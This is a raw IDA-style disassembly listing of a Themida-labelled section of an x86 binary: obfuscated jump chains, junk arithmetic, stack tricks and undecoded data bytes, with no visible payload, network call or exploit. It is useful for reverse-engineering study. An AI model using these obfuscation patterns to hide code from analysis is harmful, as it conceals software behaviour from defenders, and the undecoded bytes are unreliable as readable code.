		jmp	loc_56DD84
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 3C8BF889h,	4C48124h, 0E9000000h, 5A94h
; ---------------------------------------------------------------------------


loc_56CF90:				; CODE XREF: Themida_:00566AFDj
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56BA8B
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FF5A32E9h, 4C481FFh, 83000000h, 148704C2h, 4C2C5C24h
		dd 4C04D800h, 0EC83082Ch, 24148904h, 803AB450h,	0C480B8F4h
		dd 0DDF0E9CFh, 0C688FFFFh, 0FFADA4E9h, 4E2C1FFh, 5B11BF57h
		dd 0EFC1277Fh, 0D8C78104h, 0E946E70Bh, 0FFFFBE54h, 485B842Dh
		dd 242C8B12h, 4C481h, 20E90000h, 4AFFFFFEh, 563BBE56h
		dd 0F681684Bh, 805BCEF3h, 525EF231h, 7F2D5A5Fh,	1066016h
		dd 143DE9F8h, 1C33FFFFh, 24248B24h, 34FF5450h, 0C4835824h
		dd 4AD6E904h, 34B40000h, 0E4C0DCF6h, 80DCF605h,	0E22087C4h
		dd 67E3E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

locret_56D046:				; CODE XREF: Themida_:0056C142j
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF02A1h, 1F185805h, 0A993E97Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D056:				; CODE XREF: Themida_:0056EFD7j
		add	esp, 4
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_56B8CD
		push	dword ptr [edi+28h]
		push	eax
		push	edi
		jmp	loc_571F08
; ---------------------------------------------------------------------------


loc_56D077:				; CODE XREF: Themida_:005615F5j
		push	esp
		pop	ebx
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		push	65EAh
		mov	[esp], eax
		jmp	loc_56A844
; ---------------------------------------------------------------------------


loc_56D0A4:				; CODE XREF: Themida_:0056A2A7j
		push	1EFBh
		mov	[esp], eax
		push	ebx
		jmp	loc_570FED
; ---------------------------------------------------------------------------
		dw 5D2Ch
		dd 5D04D800h, 1C8B7C2Ch, 4C48324h, 0E97CB551h, 0FFFF4017h
		dd 8B241C89h, 0C4812414h, 4, 0E92434FFh, 0FFFFC223h, 68243C8Bh
		dd 397h, 54243C89h, 4B9515Fh, 1000000h,	73D7E9CFh, 74FFFFFFh
		dd 8F5F0424h, 18E92404h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D103:				; CODE XREF: Themida_:0055E24Aj
		pop	ecx
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_5629C1
; ---------------------------------------------------------------------------


loc_56D111:				; CODE XREF: Themida_:0056C291j
		push	edx
		mov	edx, esp
		jmp	loc_5714AC
; ---------------------------------------------------------------------------


loc_56D119:				; CODE XREF: Themida_:0056E0FEj
		xchg	eax, [esp]
		jmp	loc_5657F8
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 9Eh
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D127:				; CODE XREF: Themida_:0056F6AAj
		pop	ecx
		shl	edx, 2
		xor	edx, 0AF10AE2h
		jmp	loc_56FF3B
; ---------------------------------------------------------------------------
		dw 28Fh
		dd 0FF1AD8E9h, 8E5C1FFh, 0C504F581h, 0EE017888h, 152CE9h
		db 0
; ---------------------------------------------------------------------------


loc_56D14D:				; CODE XREF: Themida_:00567595j
		pop	ecx
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		push	7113h
		push	esp
		pop	dword ptr [esp]
		push	6B7Eh
		mov	[esp], ecx
		mov	ecx, 4
		push	edi
		jmp	loc_569A72
; ---------------------------------------------------------------------------


loc_56D177:				; CODE XREF: Themida_:00568073j
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_56F120
; ---------------------------------------------------------------------------
		dd 4C681h, 4FE90000h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D18F:				; CODE XREF: Themida_:00567F2Ej
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_56FF5F
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0A215E959h, 0B850FFFFh, 7E940C4Dh, 2958C529h, 0AFD5E9FDh
		dd 0F581FFFFh, 235F4E6Ch, 7E9E921h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D1CB:				; CODE XREF: Themida_:0056D66Aj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56C499
; ---------------------------------------------------------------------------
		db 5Ch,	31h, 0E8h
		dd 0FF101CE9h, 4C281FFh, 0E9000000h, 0FFFF1AADh
; ---------------------------------------------------------------------------


loc_56D1EC:				; CODE XREF: Themida_:00567294j
		xor	ebp, edi
		pop	edi
		sub	ebp, 2C29725Eh
		add	ebp, 1
		not	ebp
		not	ebp
		push	esi
		jmp	loc_562639
; ---------------------------------------------------------------------------


loc_56D205:				; CODE XREF: Themida_:0056BD7Fj
		pop	esp
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		db 66h
		dd 587CF381h, 0E9DF0966h, 0FFFFAC52h
; ---------------------------------------------------------------------------


loc_56D218:				; CODE XREF: Themida_:0056C452j
		sub	edx, 0E4C63BFDh
		xor	eax, edx
		jmp	loc_56476C
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 42h
		dd 48F1C281h, 0F7422D56h, 0D0EA81D2h, 141AC35h,	24148BD6h
		dd 4C481h, 0C6830000h, 24348704h, 0E789575Ch, 0FF7D6EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D251:				; CODE XREF: Themida_:0056747Fj
		push	71E459E8h
		mov	ebx, [esp]
		add	esp, 4
		shr	ebx, 4
		xor	ebx, 5756623Ah
		add	ebx, 0DFD15A28h
		push	ecx
		push	ebx
		add	dword ptr [esp], 7AD234DCh
		pop	ecx
		sub	ecx, 7AD234DCh
		push	ebx
		jmp	loc_567199
; ---------------------------------------------------------------------------
		db 29h,	0C8h, 8Bh
		dd 0FDE9240Ch, 89FFFFD7h, 0EFE92434h, 5FFFFFBh,	3C220F9Dh
		dd 560EE9h, 8864B700h, 19BE9FDh, 0E958FFFFh, 748h
; ---------------------------------------------------------------------------


loc_56D2AC:				; CODE XREF: Themida_:0056360Fj
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_56A1B4
; ---------------------------------------------------------------------------


loc_56D2C1:				; CODE XREF: Themida_:0056769Dj
		xor	ecx, 6CC81AA0h
		mov	ebp, ecx
		jmp	loc_570331
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 6EEE0CF1h, 5EB4EA81h, 0CA295ACAh, 5EB4C281h,	0BD555ACAh
		dd 6EEE0CF1h, 0FF9F34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D2ED:				; CODE XREF: Themida_:005654BAj
		mov	esi, 178C7879h
		mov	eax, 637A6A8h
		add	eax, 63CB63FDh
		add	eax, esi
		sub	eax, 63CB63FDh
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56FA05
; ---------------------------------------------------------------------------
		dw 0C288h
		dd 241C8B58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	ecx
		xchg	ah, dl
		not	ah
		jmp	loc_565078
; ---------------------------------------------------------------------------
		db 1, 0DAh, 81h
		dd 3A79F5EAh, 42EA811Ch, 5B291E35h, 31241433h, 14332414h
		dd 0EC835C24h, 0B833E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D352:				; CODE XREF: Themida_:0055E252j
		pop	ebp
		jmp	loc_560474
; ---------------------------------------------------------------------------
		dd 0E9241C87h, 24C4h, 7798E381h, 0C3815C4Ah, 0B3FD89FCh
		dd 0FFCECDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D371:				; CODE XREF: Themida_:0056E848j
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	eax, 7A4E054Eh
		jmp	loc_56D9A2
; ---------------------------------------------------------------------------
		dw 0A7BAh
		dd 0E9514E39h, 0FFFF913Ah, 89F28952h, 2FE7E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56D396:				; CODE XREF: Themida_:0056C852j
		sub	cl, 1Fh
		jmp	loc_566224
; ---------------------------------------------------------------------------
		dw 468h
		dd 0FF000000h, 815D2434h, 4C4h,	68555200h, 4F407CF4h, 4439E9h
		dd 6EB8100h, 0E9474113h, 40A4h,	0B9240C89h, 4, 4244C01h
		dd 0FFCAAAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D3D5:				; CODE XREF: Themida_:0056EB5Aj
		sub	ebp, 2AFC5E55h
		jmp	loc_561BB6
; ---------------------------------------------------------------------------
		dd 8B243C87h, 0D1212424h, 52D1F75Ah, 0FF9EA8E9h, 4C681FFh
		dd 50000000h, 4B8h, 8BC60100h, 0C4812404h, 4, 0FEFFF3E9h
		dd 81454DFFh, 0B22E1FF5h, 5CF2E9C9h, 0F281FFFFh, 508E6F67h
		dd 0ADC2815Fh, 51155751h, 0FF03E3E9h, 4BBFFh, 0EF810000h
		dd 0C200174h, 0FF0024E9h, 1D9ABAFFh, 0EA815A4Dh, 767E7D57h
		dd 0A047F281h, 0D301E3CEh, 4112E95Ah, 895D0000h, 24048BC5h
		dd 4C481h, 0EB810000h, 30C377AFh, 1FE9EB01h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D46F:				; CODE XREF: Themida_:0055D8D4j
		sub	edi, 31BD18D9h
		add	edi, ebx
		add	edi, 31BD18D9h
		jmp	loc_566B51
; ---------------------------------------------------------------------------


loc_56D482:				; CODE XREF: Themida_:0056341Cj
		push	edx
		jmp	loc_570B4A
; ---------------------------------------------------------------------------
		dd 0C80088B1h, 0D0005966h, 88B15166h, 0FFF9BBE9h, 4BFFFh
		dd 0FB890000h, 0BEE815Fh, 179AE5Bh, 0BC681DEh, 5B79AE5Bh
		dd 0E9243433h, 0FFFF043Ch
; ---------------------------------------------------------------------------


loc_56D4B8:				; CODE XREF: Themida_:00569C1Fj
		push	ebp
		mov	ebp, 0A47DDE7Ch
		sub	ebx, ebp
		pop	ebp
		mov	edx, ebx
		pop	ebx
		mov	dword ptr [edi+20h], 0F350B72h
		jmp	loc_5627E4
; ---------------------------------------------------------------------------
		dd 308BB059h, 0CE2FE9F8h, 0EF81FFFFh, 11560DA9h, 0E9FA8952h
		dd 0FFFFF2E1h
; ---------------------------------------------------------------------------


loc_56D4E8:				; CODE XREF: Themida_:0055EB92j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ecx
		push	7E52h
		jmp	loc_56464F
; ---------------------------------------------------------------------------
		dd 2822BA52h, 0D0014777h, 8324148Bh, 0D9E904C4h, 89FFFF3Eh
		dd 4BF243Ch, 1000000h, 11E6E9FDh, 0FF560000h, 5E042474h
		dd 5C24048Fh, 83243489h, 24E904ECh, 0FFFFFFDBh,	815B2434h
		dd 4C4h, 28BD0400h, 0B15166F0h,	286B04BDh, 0AD5E9C8h, 7EB90000h
		dd 0F72E7D55h, 75E981D9h, 0E9160E41h, 3806h, 39F3C981h
		dd 0F1816BC1h, 200E4Dh,	0C8BCA29h, 4C48124h, 1000000h
		dd 1C335AD3h, 241C3124h, 8B241C33h, 34FF2424h, 2434FF24h
		dd 8324048Bh, 0C48304C4h, 0E1895104h, 0EFE7E957h, 0F030FFFFh
		dd 0FF36A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D5A5:				; CODE XREF: Themida_:00568B31j
		add	esp, 4
		add	bl, 0F7h
		add	bl, al
		sub	bl, 0F7h
		add	bl, 69h
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0C3h, 66h
		dd 6824048Bh, 6942h, 54241C89h,	51241C8Bh, 0C181E189h
		dd 4, 1015E9h, 0C7815F00h, 4, 4EF81h, 3C870000h, 96E95C24h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D5EF:				; CODE XREF: Themida_:0056F1BCj
		add	esp, 4
		push	4634h
		mov	[esp], ecx
		push	3FAh
		mov	[esp], eax
		mov	eax, 5CBA32C3h
		xor	eax, 9AE4555h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56DCB7
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 52000000h,	0FF40F2E9h, 4C481FFh, 81000000h
		dd 4C5h, 99E95200h, 5AFFFF4Eh, 8DE9CF88h, 52FFFFFEh, 0C747B6BAh
		dd 2FF2810Ah, 50761238h, 4E0A67B8h, 58C2296Ah, 0B5789D05h
		dd 1A2AE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D662:				; CODE XREF: Themida_:0056549Aj
		mov	edi, edx
		pop	edx
		add	eax, edi
		push	dword ptr [esp]
		jmp	loc_56D1CB
; ---------------------------------------------------------------------------
		db 81h
		dd 0A706A4EDh, 0A4E9596Bh, 8B00003Eh, 0B60F2424h, 494468C8h
		dd 0C890000h, 0FC5FE924h, 0C581FFFEh, 4, 2474FF55h, 0FFE95D04h
		dd 87FFFEFCh, 0FE5C2404h, 50C280CAh, 4CC968h, 24048900h
		dd 7AE9h, 0EE814E00h, 54333C08h, 0D6F7DEF7h, 0FF9946E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D6C5:				; CODE XREF: Themida_:005715AFj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_562C5D
; ---------------------------------------------------------------------------


loc_56D6CE:				; CODE XREF: Themida_:00563C1Ej
		push	45B6h
		mov	[esp], eax
		push	1393h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebp
		jmp	loc_56A82A
; ---------------------------------------------------------------------------


loc_56D6EC:				; CODE XREF: Themida_:0056AF55j
		mov	esi, ebp
		pop	ebp
		add	eax, 32611ED4h
		add	eax, esi
		sub	eax, 32611ED4h
		pop	esi
		xchg	eax, [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0BB53E289h, 756E7751h, 774DEB81h, 0DA01756Eh, 4C2815Bh
		dd 87000000h, 0BFE92414h, 51FFFFA6h, 0C980B7B1h, 0E95066C1h
		dd 0FFFF32C3h, 0BBEA8158h, 0E93B3A4Ch, 0FFFFE7AAh, 3FFB68h
		dd 243C8900h, 1BCD6851h, 0C8B6681h, 4C48324h, 8904EC83h
		dd 2BBF243Ch, 47235E4Eh, 2CECEF81h, 0E7C14930h,	0FFF78105h
		dd 0E90A3046h, 0FFFFF12Ch
; ---------------------------------------------------------------------------


loc_56D77C:				; CODE XREF: Themida_:00561007j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	444Ah
		mov	[esp], ebp
		mov	ebp, 547A0D63h
		and	ebp, 0A44433Dh
		jmp	loc_56FC6B
; ---------------------------------------------------------------------------
		db 50h
		dd 0C588D888h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[edx], ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	ebx
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56D7C8:				; CODE XREF: Themida_:00560BC7j
		pop	eax
		jmp	loc_571BFA
; ---------------------------------------------------------------------------
		dw 0A3B9h
		dd 31198C34h, 87495BD9h, 87DEF7F1h, 74F181F1h, 0E9293E04h
		dd 0FFFF5B67h
; ---------------------------------------------------------------------------


loc_56D7E8:				; CODE XREF: Themida_:00562655j
		sub	edx, ebx
		pop	ebx
		pop	eax
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_56A3DB
; ---------------------------------------------------------------------------
		dw 8F5Ch
		dd 2EE92404h, 81FFFFEEh, 770199C3h, 81C32934h, 770199EBh
		dd 2778E934h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56D816:				; CODE XREF: Themida_:00569221j
		push	ebp
		mov	ebp, 0A6CC8Eh
		push	ebp
		push	edx
		mov	edx, 38FF1918h
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	edi, 38FF1918h
		pop	ebp
		jmp	loc_567CFF
; ---------------------------------------------------------------------------


loc_56D83B:				; CODE XREF: Themida_:0056C488j
		xchg	ebp, [esp]
		jmp	loc_55ED7D
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF1C77h, 24048B24h, 226568h, 242C8900h, 63BE954h
		dd 0D8890000h, 205EBF5Bh, 0C7813C3Ch, 401855B2h, 0CB2CC781h
		dd 0C7319034h, 582434FFh, 4C481h, 0EE810000h, 4C6702A6h
		dd 7B06B850h, 0C9257CBDh, 3535C61Bh, 5D4D2367h,	0FF4D4CE9h
		dd 6AC281FFh, 5B3D6D60h, 75C56850h, 0E95846FCh,	0FFFFDF96h
		dd 0A71AE950h, 268FFFFh, 8B000000h, 0E9572434h,	3A91h
; ---------------------------------------------------------------------------


loc_56D8BC:				; CODE XREF: Themida_:00572937j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_569CBC
; ---------------------------------------------------------------------------


loc_56D8C7:				; CODE XREF: Themida_:0056A781j
		pop	ebx
		add	ecx, 1
		add	ecx, 0AFE6A003h
		add	eax, ecx
		mov	ecx, [esp]
		push	eax
		jmp	loc_55ED04
; ---------------------------------------------------------------------------


loc_56D8DF:				; CODE XREF: Themida_:00564B87j
		sub	ebx, 8030C252h
		add	esi, ebx
		pop	ebx
		jmp	loc_560842
; ---------------------------------------------------------------------------


loc_56D8ED:				; CODE XREF: Themida_:00565479j
		pop	esi
		push	esi
		push	eax
		jmp	loc_564500
; ---------------------------------------------------------------------------


loc_56D8F5:				; CODE XREF: Themida_:0056127Aj
		add	edi, 0DD44B4Bh
		pop	edx
		xor	esi, edi
		pop	edi
		mov	ebx, esi
		push	dword ptr [esp]
		pop	esi
		push	esi
		mov	esi, esp
		jmp	loc_5624AC
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 88h
		dd 1FD9CF2h, 48B5FF9h, 4C48324h, 0FEFE93E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D921:				; CODE XREF: Themida_:005645BDj
		and	ecx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5649DE
; ---------------------------------------------------------------------------


loc_56D934:				; CODE XREF: Themida_:0057098Dj
		push	76265973h
		pop	edx
		add	edx, 61430BB6h
		sub	edx, ebx
		sub	edx, 61430BB6h
		pop	ebx
		jmp	loc_55FEF8
; ---------------------------------------------------------------------------
		dw 0D988h
		dd 5B2434FFh, 4571E9h, 243C8B00h, 4C481h, 14870000h, 24248B24h
		dd 24048966h, 0FEF97CE9h, 0EA8166FFh, 8166219Fh, 660137C2h
		dd 0C281665Bh, 68667F96h, 8966164Bh, 6652240Ch,	663EAEBAh
		dd 8166D2F7h, 669E60F2h, 1BF6657h, 0BEE0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D9A2:				; CODE XREF: Themida_:0056D37Dj
		push	5B67h
		mov	[esp], ecx
		push	1000h
		mov	ecx, [esp]
		jmp	loc_56EC10
; ---------------------------------------------------------------------------


loc_56D9B7:				; CODE XREF: Themida_:0056A182j
		shr	esi, 4
		jmp	loc_5650B8
; ---------------------------------------------------------------------------


loc_56D9BF:				; CODE XREF: Themida_:0056F160j
		pop	dword ptr [esp]
		jmp	loc_567BA0
; ---------------------------------------------------------------------------
		db 1
		dd 24148BD5h, 81E18951h, 4C1h, 4C18300h, 0E9240C87h, 0FFFF8765h
		dd 4EC81h, 14890000h, 4BA24h, 0E9510000h, 4EC8h, 4C481h
		dd 0D4E90000h
		db 0Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D9FF:				; CODE XREF: Themida_:0056E20Dj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	7D94h
		jmp	loc_5706CC
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 0C8CE924h, 8F5F0000h, 248B2404h, 48B6624h
		dd 4F21E924h, 585A0000h, 241C8B66h, 81E18951h, 4C1h, 2C18100h
		dd 87000000h, 0C05C240Ch, 0E98002E1h, 0A12CF4h,	0A1B753C8h
		dd 0FF5BF800h, 81592434h, 4ECh,	24148900h, 6853E289h, 4
		dd 8BDA015Bh, 2EE9241Ch, 50FFFFF5h, 8C53FFB8h, 0D8F74016h
		dd 953C00Dh, 5F23254Ah,	4054740h, 0E9BCBFA1h, 0FFFF7E27h
		dd 4EC81h, 11E90000h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DA9F:				; CODE XREF: Themida_:0055EC2Fj
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	al, 54h
		push	small 5CC5h
		mov	[esp], dx
		jmp	loc_56030A
; ---------------------------------------------------------------------------
		db 81h
		dd 56968E7h, 0F7814F5Ch, 5EB17BD1h, 505FF921h, 405E089h
		dd 83000000h, 43304E8h,	2C02E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56DADE:				; CODE XREF: Themida_:0056B904j
		add	eax, 0FFFFFFFFh
		not	eax
		jmp	loc_564DF8
; ---------------------------------------------------------------------------
		dd 8E34EC2Ch, 0E958C130h, 0FFFF52B7h, 0E8C0A3B0h, 4EB65203h
		dd 24B15166h, 5966CE30h, 0FF479BE9h, 0D3295BFFh, 5BD9895Ah
		dd 0FF6231E9h, 0BD5557FFh, 2C6D73BBh, 4F97C581h, 53E904A3h
		dd 1FFFF97h, 0E3E95AD5h, 89FFFF2Ah, 2C682414h, 8900000Fh
		dd 25E92424h, 50FFFF4Eh, 0FF6E51E9h, 242C89FFh,	4F0BE9h
		dd 302D4000h, 0E90D9551h, 1E4Bh, 31241433h, 14332414h
		dd 24248B24h, 40BA52h, 0E9570000h, 0FFFFBEA5h, 0D388D888h
		dd 8058C288h, 0D00064EAh, 2CD2045Ah, 53E828C7h,	0E7C042B7h
		dd 0F6CFFE02h, 0FCE780DFh, 0FF01D5E9h, 81E789FFh, 4C7h
		dd 0C7E95600h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DBA3:				; CODE XREF: Themida_:0056F8B2j
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_56B608
; ---------------------------------------------------------------------------


loc_56DBB0:				; CODE XREF: Themida_:0056DD06j
		sub	eax, 90160FFh
		jmp	loc_570005
; ---------------------------------------------------------------------------
a_B0A		db 'Ё_╠B0ы[─ц"',0
		db 0CBh, 80h, 0EBh
		dd 0C8B6622h, 2C48124h,	0
		dd 1DEB80EBh, 240C8B66h, 2C481h, 0B60F0000h, 87048FC0h
		dd 0FFBB19E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DBED:				; CODE XREF: Themida_:00562A31j
		add	edi, eax
		pop	eax
		mov	ebx, edi
		pop	edi
		add	edi, ebx
		push	dword ptr [esp]
		jmp	loc_5728A2
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 81h
		dd 2359D7E6h, 6E6C165h,	4EC834Eh, 11C2E9h, 4C48100h, 83000000h
		dd 2C8702EDh, 7A92E924h, 0D929FFFFh, 83241C8Bh,	0FF5104C4h
		dd 8B042474h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 31AEAEF9h, 0BA525DEFh, 71036007h, 315AD731h,	243C8BF8h
		dd 0FF254CE9h, 665566FFh, 6657BFBDh, 4246C29h, 5E665D66h
		dd 0FFADC9E9h, 74EA81FFh, 21019D1Bh, 0E95A1C57h, 0FFFEF659h
; ---------------------------------------------------------------------------


loc_56DC94:				; CODE XREF: Themida_:0056C835j
		add	edi, 270A5B00h
		pop	ecx
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_567DD8
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89662424h, 36E9240Ch
		db 0F6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56DCB7:				; CODE XREF: Themida_:0056D615j
		mov	ecx, 0AAEB886Eh
		sub	eax, 657B18D7h
		add	eax, ecx
		add	eax, 657B18D7h
		jmp	loc_564836
; ---------------------------------------------------------------------------
		align 2
		dw 59C8h
		dd 4EC81h, 1C890000h, 6EB05024h, 8904EC83h, 0C2882414h
		dd 0D2E9D388h, 5FFFFFC0h, 0E9240C87h, 0FFFF29D5h
; ---------------------------------------------------------------------------


loc_56DCF4:				; CODE XREF: Themida_:0055F06Dj
		mov	[esp], ebp
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	ebp
		xor	ebp, 0E2CD37F9h
		jmp	loc_56DBB0
; ---------------------------------------------------------------------------
		db 81h
		dd 31E89C1h, 99C18164h,	5A2D2E2Eh, 0D589E956h, 0BE56FFFFh
		dd 50181B28h, 0E95EF029h, 0FFFF7F24h
; ---------------------------------------------------------------------------


loc_56DD2C:				; CODE XREF: Themida_:0055E6FAj
		push	eax
		jmp	loc_564DDC
; ---------------------------------------------------------------------------
		dw 5F54h
		dd 4C781h, 94E90000h, 66FFFF91h, 9C240421h, 0FEF5A4E9h
		dd 1FC068FFh, 14890000h, 24F4E924h, 5D5F0000h, 7DE9F801h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DD5F:				; CODE XREF: Themida_:0055E108j
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56B897
; ---------------------------------------------------------------------------
		db 5Fh
		dd 63F9CF81h, 0E94F546Eh, 0FFFF0F60h, 0DD1AC1BEh, 0E9D6F73Dh
		dd 0BB5h
; ---------------------------------------------------------------------------


loc_56DD84:				; CODE XREF: Themida_:0056CF75j
		mov	ebp, 454C7F6Ah
		jmp	loc_56B019
; ---------------------------------------------------------------------------


loc_56DD8E:				; CODE XREF: Themida_:00563916j
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_56234D
; ---------------------------------------------------------------------------
		dd 9A6C581h, 0BB53103Dh, 5DAB6DB7h, 815BDD01h, 0ABA96DC5h
		dd 4C3CE965h, 335EFFFFh, 2C31242Ch, 242C3324h, 441EE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56DDC6:				; CODE XREF: Themida_:00565336j
		pop	edi
		xchg	edx, [esp]
		jmp	loc_5660EE
; ---------------------------------------------------------------------------
		db 89h
		dd 4BB53E0h, 1000000h, 0E9515BD8h, 0FFFFC740h, 4C181h
		dd 7AE90000h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DDEB:				; CODE XREF: Themida_:00568B61j
		pop	ebp
		xor	eax, 6E323D85h
		jmp	loc_56B4A2
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4C4h, 5DEE0100h, 8704C683h, 248B2434h, 4EC8324h, 0BE243489h
		dd 8412D84h, 0F708E6C1h, 0CCE951D6h, 57FFFF6Dh,	25C9BB53h
		dd 0DBF76707h, 60C8BF57h, 0FB315C1Ah, 0A865E95Fh, 0C481FFFFh
		dd 4, 2827EA81h, 0C281584Fh, 4DDE5839h,	3F47C181h, 0C1817771h
		dd 76882823h, 0E981D101h, 76882823h, 454CE9h, 5EF70100h
		dd 336BE9h, 24048B00h, 5E08950h, 4, 0FFE980E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DE79:				; CODE XREF: Themida_:0056A1AFj
		push	ebx
		mov	ebx, 561F58F4h
		neg	ebx
		shr	ebx, 1
		jmp	loc_569D82
; ---------------------------------------------------------------------------
		dd 1B5371BBh, 5BD80163h, 0FF3CC2E9h, 0BB535DFFh, 4, 515BDD01h
		dd 4BD55h, 0E5E90000h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56DEAB:				; CODE XREF: Themida_:00570B2Ej
		sub	edx, 4528760Dh
		pop	edi
		xor	edx, [esp]
		jmp	loc_56143C
; ---------------------------------------------------------------------------
		dw 0F930h
		dd 4A58E95Bh, 48BFFFFh,	4C48124h, 52000000h, 0DBDE9h, 48F5B00h
		dd 239EE924h, 0B753FFFFh, 13C78087h, 0E945B551h, 0FFFFE879h
; ---------------------------------------------------------------------------


loc_56DEE8:				; CODE XREF: Themida_:00564B4Ej
		mov	cl, 49h
		sub	cl, 7
		sub	cl, 0D9h
		push	2E13h
		mov	[esp], eax
		mov	ah, 0BCh
		shr	ah, 7
		not	ah
		jmp	loc_56C847
; ---------------------------------------------------------------------------
		dd 0DDE9E901h
		db 14h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DF0B:				; CODE XREF: Themida_:00571C2Bj
		mov	[esp], ebp
		push	4DD732A0h
		mov	ebp, [esp]
		add	esp, 4
		or	ebp, 56333CF3h
		add	ebp, 1
